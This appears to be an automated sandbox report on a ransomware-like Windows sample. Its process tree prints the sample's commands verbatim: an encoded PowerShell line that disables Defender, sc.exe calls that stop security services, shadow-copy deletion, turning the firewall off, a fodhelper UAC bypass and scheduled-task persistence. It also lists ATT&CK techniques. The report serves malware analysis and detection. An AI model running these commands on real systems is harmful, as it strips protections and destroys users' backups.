PID 5784 wrote to memory of 4684	5784	blanktexts.io_chrome.exe	123
PID 5784 wrote to memory of 1276	5784	blanktexts.io_chrome.exe	125
PID 5784 wrote to memory of 3280	5784	blanktexts.io_chrome.exe	132
PID 5784 wrote to memory of 5116	5784	blanktexts.io_chrome.exe	133
PID 5784 wrote to memory of 1188	5784	blanktexts.io_chrome.exe	135
PID 4696 wrote to memory of 5184	4696	chrome.exe	139
PID 4696 wrote to memory of 5664	4696	chrome.exe	140
PID 4696 wrote to memory of 4344	4696	chrome.exe	141
PID 4696 wrote to memory of 5664	4696	chrome.exe	140
PID 4696 wrote to memory of 4344	4696	chrome.exe	141
PID 4696 wrote to memory of 3184	4696	chrome.exe	142
PID 4696 wrote to memory of 3184	4696	chrome.exe	142
PID 5784 wrote to memory of 316	5784	blanktexts.io_chrome.exe	143
PID 5784 wrote to memory of 1164	5784	blanktexts.io_chrome.exe	145
PID 5784 wrote to memory of 2908	5784	blanktexts.io_chrome.exe	147
PID 5784 wrote to memory of 5076	5784	blanktexts.io_chrome.exe	148
PID 5784 wrote to memory of 5468	5784	blanktexts.io_chrome.exe	149
PID 5784 wrote to memory of 496	5784	blanktexts.io_chrome.exe	150
PID 5784 wrote to memory of 1292	5784	blanktexts.io_chrome.exe	151
PID 5784 wrote to memory of 3648	5784	blanktexts.io_chrome.exe	152
PID 5784 wrote to memory of 2832	5784	blanktexts.io_chrome.exe	201
PID 5784 wrote to memory of 5964	5784	blanktexts.io_chrome.exe	161
PID 5784 wrote to memory of 5420	5784	blanktexts.io_chrome.exe	162
PID 5784 wrote to memory of 5908	5784	blanktexts.io_chrome.exe	163
PID 5784 wrote to memory of 4512	5784	blanktexts.io_chrome.exe	164
PID 5784 wrote to memory of 5308	5784	blanktexts.io_chrome.exe	165
PID 5784 wrote to memory of 5212	5784	blanktexts.io_chrome.exe	166
PID 5784 wrote to memory of 1280	5784	blanktexts.io_chrome.exe	167
PID 1164 wrote to memory of 2976	1164	cmd.exe	174
PID 2908 wrote to memory of 2988	2908	cmd.exe	175
PID 5468 wrote to memory of 4580	5468	cmd.exe	176
PID 5076 wrote to memory of 6100	5076	cmd.exe	177
PID 496 wrote to memory of 6000	496	cmd.exe	178
PID 1292 wrote to memory of 3696	1292	cmd.exe	179
PID 3648 wrote to memory of 3472	3648	cmd.exe	185
PID 6000 wrote to memory of 6008	6000	net.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://blanktexts.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffbda50c728,0x7ffbda50c734,0x7ffbda50c740
    3⤵
    PID:4104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2072,i,3497998032707774284,7084868336263945457,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=1464 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,13493915522910252579,2277966589269109190,262144 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:2544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2196,i,2740749102272980528,14131826895623422725,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:13
    3⤵
    PID:2408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2844,i,12167804858815322416,10877774995557989515,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
    3⤵
    PID:1132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2852,i,2805392926623273339,14382505944152097596,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,8960447973506885394,6864553856724912215,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
    3⤵
    PID:3280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4840,i,6895614606280233688,1292591720144373564,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5280,i,7659768558792927077,1728251064543169872,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
    3⤵
    PID:5184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5568,i,2440759093011206941,15970512118428329388,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5580,i,17810037310882607143,1889335492268992113,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
    3⤵
    PID:4344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5768,i,16732393242886428416,14442712343024002763,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:1
    3⤵
    PID:3184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5996,i,4706341459989211526,18445196730324856684,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:3564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5880,i,10003385211247643607,907146314006643258,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:4712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5572,i,9488959298865574767,5839838443046615312,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
    3⤵
    PID:3876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5784,i,14973933043492440485,11798633549834839808,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:1
    3⤵
    PID:952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5564,i,10962448066814589234,15064039530176210447,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:2980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4416,i,13134235220625621329,3237552338412416929,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:5660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6000,i,2899315733999783422,6545006391023103981,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:14
    3⤵
    PID:5872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4968,i,7186325929092062760,11732152296216995948,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:14
    3⤵
    PID:3828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5692,i,9482928940087857930,17792659077399928910,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:1
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5680,i,5872138750989140739,5993552406647001519,2097152 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:9
    3⤵
    PID:4460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,13100723055529254671,18368332196957526713,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:5192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5856,i,15736072827191583379,10184727931221161012,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:14
    3⤵
    PID:4480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,2968635618008505791,5655439445680235751,524288 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:14
    3⤵
    PID:2832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6048,i,10054988483420663264,2342685519165855045,262144 --field-trial-handle=1904,i,14993303842823727720,9566224654694069623,262144 --variations-seed-version --mojo-platform-channel-handle=892 /prefetch:10
    3⤵
    PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:6136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5068
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe"
    3⤵
    PID:1460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3172
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4684
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1276
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3280
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5116
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1188
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:496
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6000
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3472
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5964
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5420
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5908
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:4512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3008
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5212
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1280

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5884

C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
1⤵
PID:296

C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\blanktexts.io_chrome.exe
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery